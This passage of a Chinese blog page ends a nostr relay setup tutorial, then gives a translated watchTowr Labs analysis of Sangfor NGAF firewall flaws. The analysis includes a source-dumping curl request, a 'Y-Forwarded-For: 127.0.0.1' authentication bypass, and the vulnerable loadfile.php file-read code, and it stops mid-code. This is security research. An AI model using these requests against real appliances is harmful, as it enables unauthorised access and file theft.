src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">[kimim@virtualbox Desktop]$ ./noscl relay
wss://nos.lol: rw
[kimim@virtualbox Desktop]$ ./noscl relay remove wss://nos.lol
Removed relay wss://nos.lol.
</pre></div><p style="margin: 10px 0px;">添加刚刚搭建的 relay:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">[kimim@virtualbox Desktop]$ ./noscl relay add wss://nostr.kimi.im
Added relay wss://nostr.kimi.im.
</pre></div><p style="margin: 10px 0px;">发送消息 Bonjour tout le monde:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">[kimim@virtualbox Desktop]$ ./noscl publish <span style="color: #2a00ff;">"Bonjour tout le monde"</span>
Sent event a170e3f3c4f8cfb79cacccf28d5f7d51a5e17b4e40c0984593a692b83f9cf43c to <span style="color: #2a00ff;">'wss://nostr.kimi.im'</span>.
Seen a170e3f3c4f8cfb79cacccf28d5f7d51a5e17b4e40c0984593a692b83f9cf43c on <span style="color: #2a00ff;">'wss://nostr.kimi.im'</span>.
</pre></div><p style="margin: 10px 0px;">在 Damus 一开始收不测试帐号发送的消息,需要在 Damus 客户端也添加同样的 relay。</p><p style="margin: 10px 0px;">然后,就能看到测试帐号发的:Bonjour tout le monde</p></div></div> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-54836452089244832222023-10-09T21:48:00.000+08:002023-10-13T09:37:20.806+08:00再次发现Sangfor防火墙中的未授权远程命令执行漏洞 - Sangfor版本<p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">via <a href="https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/">https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/</a></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />你可能已经注意到了一个趋势 - 是的,我们知道,我们看了很多企业级软件和设备。今天,我们不打算改变你对我们的期望 - 我们还是在看更多的企业级软件和设备。<br /><br />今天,我们来看看Sangfor的Next Gen Application Firewall(NGAF)。<br /><br />Sangfor(或Sangfor Technologies)是一家“中国的网络设备制造商,包括WAN优化、下一代防火墙和SSL VPN,主要销售给中型企业”。<br /><br />Sangfor自称是“有效的网络安全和高效的企业云解决方案的正确选择”。我们知道这一点(除了“因为他们在他们的网站上这样说”),因为“在Sangfor,我们相信为我们的客户提供最好的IT架构和安全解决方案”。<br /><br />以下是Sangfor关于他们NGAF的一些介绍:<br /><br />“Sangfor NGAF是世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护。它是一个真正安全、集成和简化的防火墙解决方案,为整个组织的安全网络提供全面的概览,并为管理、运营和维护提供便利。”<br /><br />太棒了。<br /><br />在我们开始这段旅程之前,我们想明确一点 - Sangfor告诉我们,这篇博文中的所有漏洞要么已经修复,要么是误报。我们不是在宣称发现了0day漏洞。因此,我们很高兴与大家分享我们对旧漏洞的分析,以及我们根据Sangfor的说法认为是故意设计的行为,最终我们很高兴我们不需要应用我们的90天漏洞披露政策。<br /><br />好奇的人可能会问:“这些已经存在且已修复的漏洞的公开通告在哪里?”好奇的人可能还会问,这样的漏洞怎么会出现在首次部署的安全设备中?幸运的是,我们不是好奇的人,我们很高兴不去质疑这些平凡的事情。<br /><br />无论如何,我们偏离了主题。作为我们博文的痴迷读者可能已经知道,我们经常针对我们自豪地与之合作的组织的攻击面上看到的企业技术。<br /><br />痴迷的读者也会熟悉我们对安全防火墙和VPN设备的深入痴迷 - 我们并不缺乏想象力,我们只是想要我们进入网络的入口点。<br />寻找猎物<br /><br />在以前的博文中,我们详细介绍了如何破解应用程序的详细步骤 - 提取HTTP路由、寻找参数,并确定我们在目标软件中将哪些功能部分定性为“感兴趣”。然而,在所有这些之前,必须做出一个决定 - 目标是否有足够的吸引力,是否值得投入时间?<br /><br />这种决策可能受到多种因素的影响,例如代码复杂性、现实世界的影响、安全透明度(哈哈),在这种特殊情况下,是不是散发出潜在的脆弱软件的明显迹象?<br /><br />Sangfor的NGAF引起了我们的注意,因为它没有CVE披露。这通常意味着要么安全社区尚未对其代码进行审查,要么所讨论的设备确实是安全的,或者更有可能的答案 - 一个充斥着保密协议和类似类型协议的漏洞赏金计划使安全流程变得神秘!<br /><br />我们通过https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4获得了Sangfor NGAF在AWS上的镜像,版本为AF8.0.17.364。<br /><br /></span><img alt="" class="kg-image" height="287" src="https://labs.watchtowr.com/content/images/2023/10/image.png" width="400" /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> <br /></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">基于重定向行为、端口和服务器标语iis8.0<br /><br />在深入研究代码和工作流程之前,我们可以从鸟瞰视角使用各种技巧来计算成功的“概率”。这些“概率”将帮助我们决定发现漏洞的可能性有多大,因此我们应该花费多少时间和精力来审计目标。<br /><br />令许多批评者失望的是,我们在代码库中看到的第一个“线索”是这个被称为“下一代”的设备使用了PHP和C++ CGI二进制文件的混合。我们之前已经看到过自定义的PHP应用程序如何导致安全问题,你只需要看看我们最近对Juniper防火墙的深入研究就知道了 - 但不要只听我们的意见,即使是Sangfor的开发人员对PHP也持有不好的看法,我们完全赞同。<br /></span><img alt="" class="kg-image" height="154" src="https://labs.watchtowr.com/content/images/2023/10/image-1.png" width="640" /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">此外,包含这种粗俗语言的代码库本身就是一个“线索” - 开发人员要么没有打算让公众看到这些代码,要么根本不在乎显得不专业 - 在我们看来。<br /><br />显然,我们的“概率”看起来相当不错。<br />当服务器端变成客户端时...<br /><br />除了在应用程序代码库中寻找粗俗语言和注释之外,我们首先对设备进行了一些简单的测试。<br /><br />当我们对设备有所了解时,我们开始探索可能揭示技术堆栈和架构内部工作方式的有趣行为。<br /><br />很快,我们就发现了一个“线索”,这让我们对Sangfor NGAF的兴趣大增。<br /><br />当请求目标服务器的PHP文件时,如果Content-Length头部中存在非数字值,服务器将以HTTP状态413(“内容太大”)进行响应。这并不是什么特别的,但不寻常的是,服务器端源代码(PHP)被转储在响应中(??):<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">curl --insecure https://<host>:85/index.php -H "content-Length:asdf"</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">HTTP/1.1 413 Request Entity Too Large</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Date: Tue, 03 Oct 2023 10:08:06 GMT</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Server: </span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">X-Frame-Options: SAMEORIGIN</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Connection: close</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Type: text/html; charset=iso-8859-1</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><html><head></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><title>413 Request Entity Too Large</title></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"></head><body></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><h1>Request Entity Too Large</h1></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">The requested resource<br />/index.php<br /></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">does not allow request data with GET requests, or the amount of data provided in</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">the request exceeds the capacity limit.</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"></body></html></span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><?php </span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">/*</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> * @Func: ææç请æ±é½ç¨apacheæå¡å¨mod_rewrite模åæ¹åURLè§åï¼éæ°å®åå°è¿ä¸ªphpæ件</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> */</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">session_start();</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">//ç»ä¸ä½¿ç¨webappsä½ä¸ºæ ¹ç®å½å®ä½å
¶å®æ件</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">require_once("../class/common/conf/config_inc.php");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">if(SANGFOR_LANGUAGE == 'en.UTF-8') {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> require_once("../conf/lang/eng.utf8.lang.app.php");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">else {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> require_once("../conf/lang/chs.utf8.lang.app.php");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">//å¤ææ¯å¦åå¨ç¡¬ç</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">if(@file_exists("/etc/sinfor/log/diskerror.log")) {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> header("Content-Type:text/html; charset=utf-8");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> echo LOG_DISK_ERROR;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> exit(0);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">//对äºé«ç«¯æ¯ç设å¤ssd+hddå¤æhddæ¯å¦å¼å¸¸</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> header("Content-Type:text/html; charset=utf-8");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> echo LOG_DISK_ERROR;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> exit(0);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$t_objFrontController = new CFrontController();</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$t_objFrontController->dispatchRequest();</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">?></span><br /></p><p style="text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />几个小时后,盯着屏幕看了很久,我们得出结论,这可能不是故意的(Sangfor不同意)。<br /><br />作为一个有教养的猜测,我们最有可能看到的是一个整数处理问题,发生在CGI处理程序的某个地方。不幸的是,这种类型的漏洞通常涉及敏感文件(如config.php等),这些文件在升级访问权限的漏洞中非常有用,但这些文件在这种情况下并不存在。<br /><br />尽管上述行为很有趣,但我们对所达到的混乱程度并不满意 - 但我们确实感到,我们已经证明了这个设备很可能达到了“有趣”的标准。因此,是时候深入研究了。<br />洗牌和发牌<br /><br />对于在家里跟随的朋友们,我们迅速枚举了使用命令lsof -nP -i | grep LISTEN从NGAF的本地shell上暴露的服务。简而言之,我们可以看到我们有两个HTTPS服务开放,监听在0.0.0.0上:<br /><br /> 端口85/TCP,运行“防火墙报告中心”,以及<br /> 端口4433/TCP,运行“管理员登录门户”。<br /><br />自然地,我们深入研究了端口85/TCP。<br /><br />在这个服务中找到入口点 - 在位于/etc/apache/conf.new/original/httpd.conf的Apache配置中定义。<br /><br />当我们试图了解设备暴露的攻击面以及Apache Web服务器配置文件中的具体内容时,我们寻找Location、ScriptAlias和Alias指令。这样做通常会为我们提供一个很好的端点和暴露目录的列表,在这个安全、强化的、由AI驱动的Sangfor设备的情况下,呈现的结果包括一个丰富的可能性列表:<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /icons/ "/virus/apache/apache/icons/"</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /bbc "/virus/webui/ext/fast_deploy.html"</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /manual/ "/virus/apache/apache/htdocs/manual/"</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /cgi-bin/ "/virus/webui/cgi-bin/"</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /svpn_html/ "/virus/webui/svpn_html/"</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /proxy.html "/virus/webui/ext/login.php"</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Alias /proxy_cssp.html "/virus/webui/ext/login.php"</span><br /></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />然而,尝试访问其中任何一个项目都会被重定向到认证页面 - 在LogInOut.php。<br /><br />对我们来说,后认证漏洞并不感兴趣 - 我们只对预认证漏洞感兴趣。是时候再次查看Apache配置了。<br /><br />进一步分析这个配置文件揭示了一个RewriteRule规则,它将所有请求重写到index.php,其中包含几个require和更重要的是 - 对控制器类的调用。<br /><br />require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");<br /><br />$t_objFrontController = new CFrontController();<br />$t_objFrontController->dispatchRequest();<br /><br />这个控制器类处理我们的应用级路由。它在CFrontController.php中进行了详细的映射,我们可以看到与每个端点相关联的控制器函数:<br /><br />没有一个直接通过Web界面访问这些函数,而不需要先进行身份验证,所以现在是时候查看调用这些函数的函数了。这就是dispatchRequest()函数。<br /><br />在查看这个函数的时候,我们立即看到了我们下一个感兴趣的点 - 函数在转发请求之前检查身份验证。<br /><br />我们可以看到一个IF条件,它将$_SERVER['REMOTE_ADDR'](即客户端的IP地址)与127.0.0.1(本地主机)的值进行比较,如果匹配,那么布尔值$t_boolNeedCheck被设置为false,并且绕过了重定向逻辑的其余部分。<br /><br />这是条件身份验证的最佳实践。<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">public function dispatchRequest()</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_objController = $this->getControllerInstance();</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> if($t_objController) {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> //是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_boolNeedCheck = false;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> else</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_boolNeedCheck = true;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> if(isset($t_objController->m_boolNeedCheck))</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_boolNeedCheck = $t_objController->m_boolNeedCheck;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> //防止跨站攻击</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> //要设置t_boolNeedCheck = false,要不会有重定向死循环</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> exit(0);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> }</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_fStartTime = $this->costMicroTime();</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_fEndTime = $this->costMicroTime();</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_fTotal = $t_fEndTime - $t_fStartTime;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> </span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> CMiscFunc::printMsg($t_fTotal);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> return true;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> }</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> return false;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> }</span><br /></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />作为外部攻击者,我们能否控制PHP看到的IP地址,或者是否存在SSRF类型的漏洞,我们可以利用它们绕过这种强大的安全控制?<br /><br />在现实世界中,有几个头部可以实现这一点 - 例如X-Forwarded-For和X-Real-Ip HTTP请求头,但实验证明它们没有效果。<br /><br />再次参考httpd.conf,我们可以看到一个不寻常但可疑的指令 - RPAFheader Y-Forwarded-For。这个指令是从mod_rpaf模块加载的,允许客户端设置他们的“远程”IP地址...很有用。我们认为这可能是预期的功能。<br /><br />测试请求涉及Y-Forwarded-For: 127.0.0.1,我们发现当进行未经身份验证的请求时,我们不再被重定向到登录页面。<br /><br />哇哦!我们在潜在的漏洞链中达到了第一阶段,因为这为我们打开了一个“全新的世界” - 所有在Apache配置中定义的Alias。<br /><br />例如,以前无法访问的/vmp_getinfo现在在我们的掌握之中:<br /><br />curl --insecure https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"<br /><br />这是一个事后的想法,但我们花了一些时间思考这个设置的实际目的,因为它在代码中没有被使用。也许它在测试期间被使用过,或者在后来的版本中删除了一些最初的目的?我们将这个想法留给你们自己思考,但是你知道,计算机和代码并不是魔法。<br /><br />再展示一点...<br /><br />凭借我们的“潜在行为”,我们有了一些有趣的行为,现在是时候出发,看看我们接下来要去哪里了?<br /><br />回到Apache配置文件,有一个有趣的Alias指令 - /svpn_html/ "/virus/webui/svpn_html/" - 它呈现了一个更大的应用程序代码和功能集合供我们踢。<br /><br />我们注意到了loadfile.php,它接受一个名为file的参数,解析其路径,读取内容,并将其写入响应。看起来像是一个易于获得的任意文件读取漏洞:<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><?php</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">function get_basename($filename){</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> return preg_replace('/^.+[\\\\\\\\\\\\/]/', '', $filename);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$file = addslashes($_GET['file']);</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">echo $file;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">//add by 1w</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$file_path = pathinfo($file);</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$extname = $file_path ['extension'];</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$filename = "";</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">if (!file_exists($file)) {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> die("File Not found");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; 